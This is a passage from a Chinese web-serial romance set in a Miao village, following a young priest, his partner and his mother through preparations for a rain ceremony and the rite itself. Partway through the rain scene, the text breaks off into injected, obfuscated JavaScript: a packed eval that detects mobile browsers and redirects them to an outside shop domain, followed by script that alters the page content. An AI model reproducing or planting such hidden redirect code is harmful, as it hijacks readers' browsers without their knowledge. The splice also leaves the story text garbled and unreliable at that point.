夜色漫进教室窗棂时，兰榙挎着竹篮从门口走进来，竹篮里飘出腊肉和糯米的香气，她擦了擦额角的薄汗，笑着朝沈司南和许祭招手：“司南，阿祭，收拾收拾先别忙着回去背古书了，我带了腊肉糯米饭，你们肯定饿了，先垫垫肚子。”
许祭刚要开口推辞，兰榙又拍了拍竹篮沿儿，眉眼弯弯地补充道：“对了，忘了跟你们说，明天就是寨里的娶雨大典，司南得主持仪式，忙得很。阿祭，你下午记得叫上同学们都来凑热闹，祭典上有长桌宴，还有跳花舞，热闹着呢。”
这话一出，原本收拾书包的同学们都停了手，齐刷刷地看过来。
赵铁锤第一个举手，嗓门响亮：“兰榙阿婆！算我一个！我早就想看看娶雨大典了！”
“还有我还有我！”苏招也跟着喊，“我要带相机拍下来！”
王翠花红着脸小声问：“阿婆，长桌宴上有酸汤鱼吗？我超爱吃的。”
兰榙被这阵仗逗得笑出了声，连连点头：“有有有！管够！都来都来，寨子里就喜欢人多热闹。”
沈司南揽着许祭的肩，指尖轻轻敲了敲他的手背，低声道：“听见了？明天别睡懒觉。”
许祭弯着眼睛点头，转头冲同学们扬声：“都来啊！到时候我带你们去祭坛旁边的好位置！”
夜色像浸了浓墨的棉絮，沉沉地压在苗寨错落的吊脚楼上，瓦檐上的青苔泛着冷润的光，只有沈司南和许祭住的那间木屋还亮着昏黄的油灯。窗棂上糊着的竹纸被穿堂风拂得轻轻晃，灯芯爆出细碎的火星，映得窗纸上两个并肩的影子忽明忽暗。
沈司南坐在梨木桌前，脊背挺得笔直，手里捧着一本泛黄的线装古书，书页边缘被经年累月的翻阅磨得发了毛，脆得仿佛一碰就会碎。上面是密密麻麻的老苗文，弯弯曲曲像山间缠绕的藤萝，旁边还摊着几张草纸，用炭笔画满了娶雨大典的流程，字迹被晕开了些许，是方才许祭不小心碰洒了米茶的痕迹。他的眉头微蹙着，指尖蘸了点清水，轻轻点在书页上某个晦涩的字符上，喉结无声地滚动着，像是在低声默念。灯光落在他的侧脸，勾勒出清晰的下颌线，眼底蒙着一层淡淡的倦意，却又透着不容错漏的专注。
许祭坐在他身侧的小凳上，手里攥着一支削得尖尖的炭笔，时不时伸手帮他翻一页书，动作轻得像怕惊扰了什么。他另一只手端着一盏温热的米茶，茶盏壁上凝着细密的水珠，是他换了第三遍的热水。
夜渐渐深了，巷子里的狗吠声都歇了，只有虫鸣在墙角此起彼伏。隔壁的木棉阿婆起夜，披着靛蓝的土布褂子，踩着木屐路过窗下，借着昏黄的灯光看见沈司南微蹙的眉头，还有他眼下淡淡的青影。阿婆叹了口气，脚步放得极轻，转身回屋掀开灶上的蒸笼，端了一碗还冒着热气的甜酒冲蛋过来，碗边搁着两颗剥好的桂圆。她走到窗下，手指轻轻叩了叩木棂：“司南，阿祭，快歇会儿吧，梆子都敲过三更了。”
许祭闻声抬头，眼尾带着点熬夜的红，他笑着应道：“谢谢木棉阿婆。”说着伸手去接碗，指尖碰到碗壁的暖意，忍不住弯了弯唇角。
沈司南也抬眼，目光从书页上移开，落在阿婆布满皱纹的脸上，声音带着点熬夜后的沙哑，却依旧礼貌：“麻烦您了，阿婆。”
阿婆把碗递进来，目光落在桌上摊开的古书和草纸上，忍不住伸手摸了摸沈司南的头发，掌心的温度带着岁月的粗糙：“傻孩子，娶雨大典的规矩你五岁就背得滚瓜烂熟，何苦熬到这么晚？你这身子骨，哪里禁得住这么折腾？”她的声音里满是心疼，尾音都带着点颤，“小时候背书背到吐的样子，阿婆还记得呢。”
这话刚落，斜对门的铁匠大叔也推门出来，他刚打完一把祭祀用的铜刀，身上还带着铁屑的味道，手里拎着个刚打好的铜铃铛，铃铛上刻着繁复的苗纹，风一吹就发出清脆的声响。他站在巷口，嗓门洪亮却刻意压低了些，怕惊了夜的静：“司南！明早的仪式有我们帮衬着，摆祭品、搭祭台这些粗活，你不用操心！赶紧睡！别等熬出病来，寨子里的人都得心疼！”
话音落，不远处又有一扇木门吱呀响了一声，是寨里的老药师，他探出头来，手里攥着一小包安神的草药：“司南，把这个煮水喝，能睡个安稳觉。”
油灯的光晕里，沈司南的喉结轻轻动了动，他看向窗外，夜色里，隐约能看见几家吊脚楼的窗户纸都亮了一下，又暗了下去。他知道，寨子里的人都没睡沉，都惦记着他。
许祭握着他微凉的手，指尖轻轻揉着他泛白的指节，把温热的甜酒冲蛋推到他面前，低声道：“先喝了，看完这一页就睡，好不好？”
沈司南转头看他，眼底的倦意被温柔的笑意取代，他点了点头，声音轻得像羽毛拂过心尖：“好。”
窗外的风还在吹，带着苗寨特有的草木香和泥土的湿润气，巷子里的灯一盏盏亮了又暗，那些细碎的光影，全是藏不住的心疼。
夜色漫过苗寨的吊脚楼时，沈司南终于合上书页，指尖划过封面烫金的老苗文，那三个字被岁月磨得温润，是《娶雨祭典考》。油灯的光昏黄如豆，在他眼睫下投下一小片阴影，许祭把凉透的米茶端去灶房，回来时手里攥着块温热的帕子，踮脚替他擦了擦眉心的倦意。
“看完了？”许祭的声音放得很轻，怕惊碎了这深夜的静。
沈司南抬眼，眸子里盛着灯影，像揉碎了的星子，他嗯了一声，伸手把人拉进怀里，下巴抵在许祭的发顶，闻到一股淡淡的草木香，是白日里两人去后山采艾草沾染上的。
“想起小时候的事了。”沈司南的声音低哑，带着熬夜后的微涩，“第一次跟着阿爹主持娶雨大典，我才八岁。”
许祭蜷在他怀里，手指轻轻勾着他的衣摆，没说话，只是安静地听着。
那时候的天比现在更蓝，寨子里的老槐树也比现在粗，阿爹还在，是苗寨最威严也最温柔的祭祀，阿妈兰榙总守在守灵屋的门口，手里端着一碗温热的红糖姜茶，等他和阿爹练完祝词出来。娶雨大典的前三天，阿爹就带着他住进了祭坛旁的守灵屋，那里没有油灯，只有月光透过窗棂洒进来，落在满墙的祭祀图谱上。阿爹教他认祭品，教他念祝词，教他跳迎神舞，那些老苗文拗口得很，他背错一个字，阿爹的戒尺就会落在手心上，不痛，却烫得慌。每次他红着眼眶抿着嘴不肯哭的时候，守在门口的阿妈就会悄悄递进来一颗糖，用帕子包着，是他最爱吃的桂花糖。
大典前一夜，天旱得厉害，寨子里的水塘都见了底，禾苗卷着叶子，像奄奄一息的孩子。阿爹坐在门槛上抽烟，烟杆明灭的火光映着他的侧脸，阿妈兰榙坐在他身边，手里纳着鞋底，针线穿梭的声音在夜里格外清晰。“司南，”阿爹忽然开口，声音沉得像山涧的石头，“祭祀不是享福的命，是扛事的。天不下雨，百姓就没饭吃，我们守着祭坛，就是守着苗寨的活路。”阿妈没说话，只是伸手揉了揉他的头发，掌心的温度裹着桂花糖的甜香，暖得他鼻尖发酸。
那时候的沈司南似懂非懂，只是攥着阿妈的衣角，点头说：“我知道了。”
第二天凌晨，鸡还没叫，阿妈就把他叫起来，替他换上厚重的祭祀袍。袍子是用苗寨最老的织锦做的，上面绣着行云流水的纹，缀着青铜铃铛，走起路来叮当作响。阿妈替他系好腰带，又弯腰替他理了理衣角，眼眶红红的：“崽崽，别怕，阿妈和阿爹都在。”他仰头看着阿妈，用力点头，把眼泪憋了回去。
他跟着阿爹走到祭坛上，寨子里的人都来了，黑压压的一片，跪在青石板上，眼神里满是期盼。阿妈站在祭坛的最边缘，手里端着一碗清水，目光紧紧地落在他身上，像一道温暖的光。
阿爹站在祭坛中央，手里握着青铜剑，高声念着祝词。那声音穿过晨雾，飘向远山，沈司南站在他身后，跟着念，声音稚嫩，却字字清晰。阳光一点点爬上山头，把阿爹的影子拉得很长，他看见阿爹的额头渗着汗，顺着脸颊往下淌，浸湿了领口的织锦；也看见阿妈抬手擦了擦眼角，嘴角却弯着笑。
仪式进行到一半，忽然刮起了风，吹得祭祀袍猎猎作响。阿爹举起剑，指向天空，高声喊：“祈雨——”
所有的人都跟着喊：“祈雨——”
那声音震耳欲聋，沈司南的耳膜嗡嗡作响。他看见阿爹的手在抖，却依旧稳稳地举着剑，直到第一滴雨落在他的脸上，凉丝丝的。
雨越下越大，砸在青石板上，溅起细碎的水花。寨子里的人欢呼起来，跪在雨里，放声大哭。阿爹放下剑，转身看着他，笑了，眼角的皱纹像水波一样漾开。他伸手摸了摸沈司南的头，说：“司南，你长大了。”阿妈快步走过来，撑开油纸伞罩在他和阿爹的头顶，伞面落着噼里啪啦的雨声，她的声音裹在雨里，温柔得不像话：“走，回家喝姜汤，别冻着了。”
那天的雨下了很久，久到寨子里的水塘都满了，久到禾苗重新挺直了腰杆。沈司南被阿妈牵着手走回守灵屋，祭祀袍湿了大半，沉甸甸地压在身上，他却觉得很轻，像是完成了一件天大的事。回到屋里，阿妈给他换上干净的衣服，又端来一碗热腾腾的姜汤，里面还卧着两个荷包蛋，他喝得鼻尖冒汗，暖乎乎的热气从胃里漫上来，熨帖了四肢百骸。
“后来呢？”许祭的声音带着点哽咽，他抬手，替沈司南擦了擦眼角，那里没有泪，却透着一股难言的酸涩。
沈司南握住他的手，贴在自己的脸上，指尖摩挲着他的掌心，声音轻得像叹息：“后来，阿爹走了。”
走的那天，也是一个雨天，和娶雨大典那天的雨一模一样，大得吓人。阿爹躺在病床上，拉着他的手，把那本《娶雨祭典考》递给他，说：“司南，以后，祭坛就交给你了。”阿妈兰榙坐在床边，背对着他，肩膀微微发抖，却没有哭出声。他接过书，指尖碰到阿爹冰凉的手，眼泪终于掉了下来，砸在书页上，晕开了老苗文的墨迹。
阿爹走后，阿妈一夜之间好像老了好几岁，鬓角添了霜白，却依旧每天把家里收拾得干干净净，依旧在他熬夜背书的时候，端来一碗甜酒冲蛋，依旧在他去祭坛的时候，站在门口，目送他的背影消失在晨雾里。那年他十二岁，还没长成挺拔的少年，却要扛起整个苗寨的希望。第一次独自主持娶雨大典，也是一个旱季，天热得像个蒸笼，阿妈凌晨就起来替他整理祭祀袍，袍子是阿爹留下的，太长，她就蹲在地上，一针一线地改短，指尖被针扎破了，渗出血珠，她只是吮了吮，继续缝补。
他站在祭坛上，穿着改过的祭祀袍，握着那柄沉甸甸的青铜剑，念着祝词。声音不大，却足够清晰，穿过人群，飘向远山。他看见寨子里的人看着他，眼神里有期盼，也有担忧；看见阿妈站在最熟悉的位置，手里依旧端着一碗清水，目光坚定，像在告诉他：崽崽，别怕。他攥紧了剑，手心全是汗，直到第一滴雨落在脸上，他才松了口气，差点栽倒在祭坛上。
那天的雨下得很大，他却站在雨里，哭了很久。阿爹不在了，可阿妈还在，还在守着他，守着这个家。
“从那以后，每年的娶雨大典，都是我一个人主持。”沈司南的声音很轻，却带着沉甸甸的重量，“我以为，会一直这样，直到我也像阿爹一样，老去，离开。”
他低头，看着许祭的眼睛，眸子里盛着温柔的光，像今夜的月光：“直到遇见你。”
许祭的心猛地一颤，他抬头，撞进沈司南的眸子里，那里有他的影子，清晰而明亮。他伸手，抱住沈司南的脖子，把脸埋进他的颈窝，声音闷闷的：“沈司南。”
“嗯。”
“明天的大典，我陪你。还有阿妈，我们一起。”
“好。”
沈司南抱着他，指尖轻轻抚过他的脊背，动作温柔得不像话。窗外的风还在吹，带着雨丝的湿润气，檐下的铜铃叮当作响，像是阿妈深夜缝补衣物的针线声。
许祭抬起头，看着他，眼里闪着光：“明天，我要站在你身边，和你一起念祝词，一起等雨来。阿妈可以站在我们身后，就像……就像以前一样。”
沈司南笑了，眼角的倦意散去，只剩下温柔的笑意。他低头，吻了吻许祭的额头，像落下一片轻柔的月光。
“好。”
夜色渐深，油灯的光渐渐暗了下去，沈司南吹灭了灯，抱着许祭躺在床上。窗外的月光透过窗棂洒进来，落在两人交握的手上，温柔而绵长。
许祭蜷缩在沈司南的怀里，听着他沉稳的心跳，渐渐有了睡意。迷迷糊糊间，他听见沈司南在他耳边轻声说：“阿祭，有你在，真好。阿妈也说，她从来没见过我笑得这么开心。”
许祭弯了弯唇角，往他怀里蹭了蹭，小声回应：“嗯，有你在，也很好。”
苗寨的深夜很静，只有虫鸣和风声，还有两颗相依的心，在月光下，慢慢靠近，再也不分开。
天快亮的时候，许祭被一阵轻微的响动惊醒。他睁开眼，看见沈司南正披衣起身，动作轻得怕吵醒他。许祭揉了揉眼睛，小声问：“怎么醒了？”
沈司南回头，月光落在他的脸上，温柔得像水。他走过来，坐在床边，替许祭掖了掖被角：“睡不着，想去祭坛看看。阿妈应该也醒了，她总习惯提前去祭坛整理祭品。”
许祭撑着身子坐起来，眼里还带着睡意：“我陪你。”
沈司南想拒绝，却看见许祭眼里的坚持，只好点了点头。两人披了件外衣，轻手轻脚地走出木屋，走进微凉的晨雾里。
苗寨还在睡梦中，吊脚楼的窗棂上蒙着一层薄薄的水汽，石板路上沾着露水，踩上去湿湿的。两人并肩走着，没有说话，却觉得心安。远远地，就看见祭坛的方向亮着一盏灯，灯下站着一个熟悉的身影，正是兰榙。她穿着靛蓝的土布褂子，手里拿着抹布，正仔细地擦拭着祭坛上的青石板，动作缓慢而虔诚。
祭坛就在寨子的最高处，青石板铺成的台阶，一级一级，通向云雾缭绕的顶端。沈司南牵着许祭的手，一步一步往上走，青铜铃铛在他的衣摆上叮当作响。
走到祭坛顶端时，天刚蒙蒙亮，远山在晨雾里若隐若现，像一幅水墨画。兰榙听见脚步声，回头看过来，看见是他们，脸上露出温柔的笑意：“醒了？我想着早点过来收拾，省得等下忙乱。”
沈司南走过去，接过她手里的抹布：“阿妈，歇会儿吧，我来。”
兰榙拍了拍他的手背，目光落在他和许祭交握的手上，眼里的笑意更浓了：“傻孩子，你昨天熬夜到那么晚，该歇着的是你。”她又看向许祭，招了招手，“阿祭，过来，阿妈给你带了桂花糕，甜的。”
许祭笑着走过去，接过兰榙递来的油纸包，里面的桂花糕还带着温热的气息，甜香扑鼻。“谢谢阿妈。”
“谢什么，”兰榙揉了揉他的头发，眼神慈爱，“以后都是一家人，不用客气。”
许祭的脸颊微微泛红，低头咬了一口桂花糕，甜丝丝的味道在嘴里化开，暖到了心底。
沈司南看着他们，嘴角噙着淡淡的笑意。他走到祭坛中央，那里立着一块无字碑，是阿爹当年亲手立的。兰榙走过来，站在他身边，目光落在无字碑上，声音轻得像风：“你阿爹当年说，祭祀的功绩，不需要刻在石头上，要刻在百姓的心里。他还说，以后你要是遇到了喜欢的人，一定要带回来给他看看，他想知道，是谁能陪你守着这座祭坛，守着苗寨。”
沈司南的喉结轻轻动了动，转头看向许祭，许祭也看过来，眼里满是笑意和坚定。“阿妈，他来了。”
兰榙点了点头，眼里闪过一丝泪光，却笑着说：“看见了，你阿爹在天上，也看见了。”
晨风吹过，掀起三人的衣角，许祭忽然伸出手，握住了沈司南和兰榙的手。沈司南一愣，随即反手握住他的手，兰榙也握紧了他的手，掌心相贴的温度，暖得像春日的阳光。
“阿妈，沈司南，”许祭的声音带着晨雾的湿润，却无比坚定，“明天，我和你们一起。”
“好。”沈司南和兰榙异口同声地说。
阳光一点点爬上山头，驱散了晨雾，照亮了整个苗寨。远处传来鸡鸣声，清脆而响亮，石板路上渐渐有了脚步声，寨子里的人都醒了，开始为明天的娶雨大典忙碌起来。
沈司南牵着许祭的手，兰榙走在他们身边，三人站在祭坛顶端，看着远山，看着云雾，看着渐渐苏醒的苗寨。风里带着青草的香气和桂花糕的甜香，温柔而缱绻。
沈司南知道，从此以后，他再也不是一个人了。有阿妈在，有许祭在，守着这座祭坛，守着苗寨，守着他们的家。
回到木屋时，天已经大亮了。许祭走进灶房，开始生火做饭，兰榙坐在院子里，择着青菜，沈司南站在门口，看着他们忙碌的身影，嘴角的笑意从未散去。
娶雨大典的前一天，苗寨的空气里弥漫着喜悦的气息。家家户户都在打扫庭院，准备祭品，孩子们穿着新衣服，在巷子里跑来跑去，银铃的响声此起彼伏。
沈司南和许祭坐在院子里，翻看着那本《娶雨祭典考》。许祭指着上面的一幅插图，问：“这是什么？”
沈司南凑过去，看了一眼，说：“这是迎神舞的舞步，明天要跳的。”
他放下书，站起身，拉着许祭的手，说：“我教你。”
兰榙坐在一旁，看着他们，手里的针线穿梭得更快了，嘴角的笑意藏都藏不住。
许祭笑着点头，跟着沈司南的脚步，慢慢跳起来。祭祀舞的舞步很慢，很庄重，每一个动作都有着特殊的意义。沈司南牵着他的手，一步一步，耐心地教着。阳光落在两人身上，镀上一层金色的光晕，院子里的栀子花飘着香，温柔而缱绻。兰榙看着看着，忽然想起了很多年前，沈司南还是个小不点，跟着阿爹在院子里学跳舞，也是这样，一步一步，认真而执着。
“就这样，”沈司南的声音带着笑意，“明天，跟着我跳，别紧张。”
许祭看着他，眼里闪着光，点头说：“嗯，不紧张。有你和阿妈在，我什么都不怕。”
两人跳了一会儿，就坐在石凳上休息。许祭靠在沈司南的肩上，看着院子里的栀子花，忽然说：“沈司南，我好像爱上苗寨了。”
沈司南转头，看着他，眼里满是温柔：“那就在这里，永远待下去。”
“好。”
许祭的声音很轻，却带着无比的坚定。他知道，从此以后，这里就是他的家，有沈司南的地方，有兰榙的地方，就是他的家。
傍晚的时候，兰榙把做好的祭祀袍拿了出来，是新做的，比阿爹留下的那件更合身，上面的纹绣得更精致，青铜铃铛也更响亮。沈司南接过袍子，摸了摸上面的纹，那是兰榙熬了好几个夜晚绣出来的，针脚细密，带着母亲的温度。“阿妈，谢谢你。”
兰榙笑着摆手：“谢什么，这是寨子里的心意，也是阿妈我的心意。明天，你要好好主持大典，别辜负了阿爹的期望，也别辜负了寨子里的人。”
沈司南点头，声音郑重：“我知道。”
兰榙又看向许祭，手里拿着一件靛蓝的土布褂子，上面绣着淡淡的栀子花纹：“阿祭，这是给你的，明天你穿着它，站在司南身边，好看。”
许祭接过褂子，心里暖暖的，眼眶有些发红：“谢谢阿妈。”
“傻孩子，”兰榙揉了揉他的头发，眼里满是慈爱，“明天你要好好陪着司南，他一个人扛了这么多年，不容易。”
许祭点头，握住沈司南的手，说：“我会的。”
兰榙满意地点点头，转身走进灶房，开始准备晚饭。沈司南拿着祭祀袍，走进屋里，许祭跟在他身后。
“明天，你穿这件袍子，一定很好看。”许祭的声音带着笑意。
沈司南回头，看着他，眼里满是温柔：“和你一起，才好看。”
许祭的脸颊微微泛红，却还是抬头，迎上他的目光。两人相视一笑，眼里的温柔，像院子里的栀子花，悄然绽放。
夜色再次降临，苗寨的吊脚楼里亮起了灯，星星点点，像天上的星子。沈司南和许祭坐在窗前，看着窗外的夜色，听着远处传来的歌声，心里满是安宁。兰榙端来一碗甜酒冲蛋，放在他们面前，笑着说：“早点睡，明天还要早起呢。”
“好，阿妈也早点睡。”沈司南说。
兰榙点点头，转身回了自己的房间。
“明天，会下雨吗？”许祭小声问。
沈司南握住他的手，指尖摩挲着他的掌心，声音坚定：“会的。”
许祭点头，靠在他的肩上，渐渐有了睡意。沈司南看着他的睡颜，眼里满是温柔。他知道，明天，一定会下雨，因为有许祭在他身边，有阿妈在他身后，有寨子里的人在他左右，他什么都不怕。
夜深了，苗寨静了下来，只有虫鸣和风声，还有三颗相依的心，在月光下，静静相守，直到永远。
第二天凌晨，鸡还没叫，沈司南就醒了。他轻轻起身，没有吵醒许祭，走到院子里，看着天边渐渐泛起的鱼肚白。晨雾缭绕，远山若隐若现，空气里带着青草的香气和露水的湿润。兰榙已经起来了，正在灶房里忙碌着，锅里飘出姜汤的香气。
“阿妈。”沈司南走过去。
兰榙回头，笑着说：“醒了？快过来，姜汤熬好了，喝一碗暖暖身子。”
沈司南接过姜汤，喝了一口，温热的液体滑入喉咙，暖到了心底。
许祭被姜汤的香气惊醒，他睁开眼，看见沈司南站在灶房门口，晨光落在他身上，镀上一层金色的光晕。他连忙起身，穿上兰榙给他做的土布褂子，走到沈司南身边。
“醒了？”沈司南笑着问。
“嗯，闻到香味了。”许祭吸了吸鼻子，笑着说。
兰榙端来一碗姜汤，递给许祭：“快喝一碗，别冻着了。”
许祭接过姜汤，喝了一口，暖意瞬间漫遍全身。
三人吃完早饭，兰榙替沈司南整理好祭祀袍，又替许祭理了理衣领，眼里满是期盼：“走吧，时候到了。”
沈司南点点头，牵着许祭的手，兰榙走在他们身边，三人一起走出木屋，走进微凉的晨雾里。
石板路上已经有了很多人，都是寨子里的长老和村民，他们看见沈司南和许祭，还有兰榙，都笑着点头，眼里满是欣慰。沈司南牵着许祭的手，一步一步，走向祭坛。
祭坛上已经摆好了祭品，全是寨子里最好的东西，瓜果、米酒、腊肉，还有一束束的栀子花。青石板被打扫得干干净净，祭坛中央的无字碑在晨光里，泛着温润的光。
寨子里的人都来了，黑压压的一片，跪在青石板上，眼神里满是期盼。沈司南牵着许祭的手，走到祭坛中央，站在无字碑前。兰榙站在他们身后，手里端着一碗清水，目光坚定而温柔。
晨光一点点爬上山头，照亮了整个祭坛。沈司南举起青铜剑，高声念起祝词。他的声音穿过晨雾，飘向远山，沉稳而有力。许祭站在他身边，跟着他一起念，声音清亮，字字清晰。兰榙站在他们身后，轻声附和着，声音温柔，却带着无比的坚定。
“祈雨——”沈司南的声音响彻云霄。
“祈雨——”许祭的声音紧随其后。
“祈雨——”兰榙的声音温柔而坚定。
“祈雨——”所有的人都跟着喊，声音震耳欲聋。
风吹过，掀起三人的衣角，青铜铃铛叮当作响。许祭看着沈司南的侧脸，看着他眼里的坚定和温柔，看着身后兰榙慈爱的目光，心里忽然涌起一股暖流。他知道，从此以后，他们会一起，守着这座祭坛，守着苗寨，守着这个家，直到永远。
就在这时，一滴雨落在了他的脸上，凉丝丝的。他抬头，看见天空中，乌云渐渐聚拢，雨丝，正淅淅沥沥地落下来。
雨丝落下来的那一刻，祭坛下的人群里瞬间泛起一阵细碎的骚动，许祭的同学们更是炸开了锅，议论声混着雨声，热热闹闹地飘了起来。
赵铁锤踮着脚，伸长脖子往祭坛上望，一巴掌拍在旁边同学的肩膀上，嗓门大得盖过了雨声：“我靠！真下雨了！不是吧不是吧！这也太灵了吧！”他搓着手，脸上满是兴奋的红光，转头跟苏招嚷嚷，“你看你看！许祭站在沈司南旁边，那姿势，那气场，跟真的似的！”</
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17037629|194640||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
p>
苏招举着相机，咔嚓咔嚓地按着快门，镜头死死地黏在祭坛中央的两人身上，嘴里也没闲着，一边拍一边念叨：“我就说吧！沈祭司肯定有本事！你看许祭，昨天还跟我们说要背古书，今天就跟着念祝词了，这默契，绝了！”她转头看向王翠花，眼里闪着八卦的光，“你说他俩平时在一块儿，是不是也这么有默契啊？”
王翠花撑着伞，脸颊红红的，看着祭坛上并肩而立的身影，小声嘀咕：“他们站在一起好好看啊……沈祭司本来就冷冷的，许祭往旁边一站，一下子就柔和了好多。”她抿了抿唇，又补充道，“而且你没发现吗？刚才念祝词的时候，沈祭司偷偷看了许祭好几眼呢！”
靠窗的男生推了推被雨打湿的眼镜，镜片上蒙了一层水汽，却依旧一本正经地分析：“从民俗角度来讲，娶雨大典是苗寨的核心仪式，能站在祭祀身边的，要么是传承人，要么是极其亲近的人。许祭一个外来者，能得到这样的待遇，足以说明他在沈祭司心里的地位。”他顿了顿，又笑着加了一句，“当然，从旁观者角度看，他俩确实很配。”
几个女生挤在一起，捂着嘴偷偷笑，指着祭坛上的两人，交头接耳地说着悄悄话。
“你们看许祭的衣服，和沈祭司的祭祀袍好搭啊，靛蓝色的，绣着栀子花，肯定是特意做的！”
“还有刚才，风吹起来的时候，沈祭司的袍子飘起来，刚好罩住许祭的肩膀，我都拍到了！”
“怪不得许祭昨天拒绝颜染的甜酒冲蛋，要陪着沈祭司背古书，原来是为了今天啊……太甜了吧！”
议论声越来越大，连带着周围的苗寨村民都跟着笑起来，看向许祭的眼神里，满是认可和善意。雨越下越大，落在青石板上，溅起细密的水花，落在每个人的脸上，凉丝丝的，却又暖乎乎的。
赵铁锤忽然想起什么似的，一拍大腿，高声喊：“等下长桌宴！我要坐许祭旁边，问问他刚才念祝词的时候紧不紧张！”
这话一出，立刻得到了所有人的响应，苏招举着相机，笑着喊：“算我一个！我要把照片洗出来，让许祭签名！”
王翠花也跟着点头，眼里满是期待：“我还要尝尝酸汤鱼，兰榙阿婆说管够的！”
雨幕里，祭坛上的两人还站在那里，青铜铃铛的响声混着雨声，清脆而悠扬。同学们的议论声渐渐变成了欢呼，和苗寨村民的声音交织在一起，在山谷里回荡着，经久不息。
雨势渐稳，细密的雨丝织成一片朦胧的帘幕，祭坛上的祝祷声渐渐停歇。沈司南握着那柄青铜剑，剑尖垂落，剑身上的纹路在雨光里泛着冷冽的光。他刚转身想递给身后的长老，就被围上来的同学们七嘴八舌地拦住了。
“沈祭司！这剑看着好有分量，到底重不重啊？”赵铁锤挤在最前面，抻着脖子打量那柄剑，眼里满是好奇，“能不能让我们试试？”
旁边的男生们也跟着起哄，一个个摩拳擦掌：“对啊对啊，看着不算特别大，应该能拿得动吧？”
沈司南挑了挑眉，没说话，只是松了手，任由青铜剑稳稳地立在青石板上。
赵铁锤第一个冲上去，撸起袖子，双手攥住剑柄，憋红了脸使劲往上提——那剑却像在石板上生了根似的，纹丝不动。他不信邪，又憋足了力气，脸涨得通红，额角青筋都鼓起来了，剑还是稳稳当当的，他反倒踉跄着往后退了两步，差点摔在泥水里。
“我靠！这么重？”赵铁锤揉着发酸的胳膊，一脸不可置信。
后面的男生们轮番上阵，有的单手拽，有的两人合力抬，甚至还有三个男生抱成团喊着口号一起使劲，可那柄青铜剑始终稳稳立着，连晃都没晃一下。最后几个男生累得气喘吁吁，瘫坐在地上，看着那柄剑的眼神里满是敬畏。
女生们早就笑得前仰后合，苏招举着相机，把这一幕幕全拍了下来，一边拍一边笑：“你们行不行啊？看沈祭司刚才单手举着跟玩似的！”
王翠花捂着嘴笑，小声跟旁边的女生嘀咕：“难怪刚才沈祭司举剑的时候那么稳，这剑也太重了吧，我看他们三个人都抬不动。”
靠窗的男生推了推眼镜，慢悠悠地开口：“这剑是苗寨的祭祀重器，听说铸剑的时候加了陨铁，少说也有七八十斤。沈祭司从小练着，自然举重若轻，我们这些普通人，肯定拿不动啊。”
“七八十斤？！”赵铁锤惊呼一声，摸着自己发酸的胳膊，“怪不得我刚才跟拔萝卜似的，根本纹丝不动！沈祭司也太牛了吧！”
许祭站在沈司南身边，看着剑身上流转的冷光，心里忽然生出一股跃跃欲试的念头。他转头看向沈司南，眼里带着点试探的笑意：“我能不能试试？”
沈司南愣了一下，随即失笑，伸手替他理了理被雨打湿的额发，声音里带着几分纵容：“小心点，别抻着。”
周围的同学们瞬间安静下来，齐刷刷地看向许祭，眼里满是看热闹的兴味。赵铁锤更是嚷嚷起来：“许祭你别试了！我们这么多人都拿不动，你肯定也不行！”
许祭没说话，只是走到青铜剑旁，学着沈司南的样子，单手握住了剑柄。他的手掌比沈司南的小一圈，握住剑柄时指尖堪堪能扣住边缘。他深吸一口气，手臂微微发力——
出乎所有人意料，那柄在众人手里纹丝不动的青铜剑，竟然被他缓缓提了起来。
剑身离开青石板的那一刻，发出一声清脆的嗡鸣，雨珠顺着剑脊滚落，砸在地上溅起细小的水花。许祭握着剑，手臂微微发颤，却硬是把剑举到了胸前，剑身在雨幕里泛着冷光，映着他微微泛红的脸颊。
全场瞬间鸦雀无声，连雨打在伞面上的声音都清晰可闻。
几秒钟后，议论声和惊呼声猛地炸开，比刚才还要响亮。
“我靠！许祭举起来了？！”赵铁锤猛地从地上蹦起来，一脸的不敢置信，“不是吧不是吧！他看着瘦瘦的，力气这么大？”
苏招手里的相机差点掉在地上，她连忙稳住，对着许祭和他手里的剑一顿猛拍，嘴里念叨着：“绝了绝了！这是什么神仙剧情！许祭也太厉害了吧！”
王翠花捂着嘴，眼睛瞪得圆圆的，小声跟旁边的女生说：“我刚才还以为他肯定不行呢……他居然真的举起来了！而且还是单手！”
靠窗的男生推了推眼镜，镜片后的眼睛亮得惊人，他摸着下巴，一本正经地分析：“这绝对不只是力气的问题！祭祀剑认主的说法我以前听过，许祭能拿起来，说不定是因为……”他话说到一半，意味深长地看了一眼沈司南，引得周围的女生们都跟着哄笑起来。
沈司南看着许祭举着剑，手臂微微发颤的样子，眼底的笑意浓得化不开。他快步走过去，伸手托住剑身，帮他卸了力，声音里带着点心疼的嗔怪：“逞能，手酸了吧？”
许祭放下剑，甩了甩发麻的胳膊，脸上带着点得意的笑：“我就说我能行。”
周围的同学们又开始起哄，口哨声和笑声混在一起，在雨幕里传得很远。兰榙站在不远处，看着他们，嘴角的笑意温柔得不像话，转头跟身边的长老说：“这孩子，跟司南真是缘分。”
长老捋着胡子，点了点头，眼里满是赞许：“是啊，能拿起祭祀剑的，都是和苗寨有缘的人。”
同学们的议论声瞬间掀翻了天，惊呼声、哄笑声、八卦声混着雨声，吵得比刚才的祈福喊声响多了。
“我靠！许祭你藏得够深啊！看着瘦得跟纸片似的，居然能举起那把剑！”赵铁锤冲最前面，拍着大腿喊，刚才他憋得脸红脖子粗都没撼动的剑，被许祭轻飘飘举起来，简直是公开处刑。
苏招举着相机，镜头死死对准许祭和沈司南，一边拍一边咋呼：“懂了懂了！这就是爱情的力量吧！沈祭司能举，许祭也能举，别人都不行，这不是锁死了是什么！”
这话一出，女生们立刻跟着起哄，捂着嘴笑得眉眼弯弯。“怪不得沈祭司对他那么好！连祭祀剑都能让他碰，这待遇，谁有啊！”“你们没看见沈祭司刚才那眼神吗？都快溢出蜜了，又是心疼又是骄傲的！”
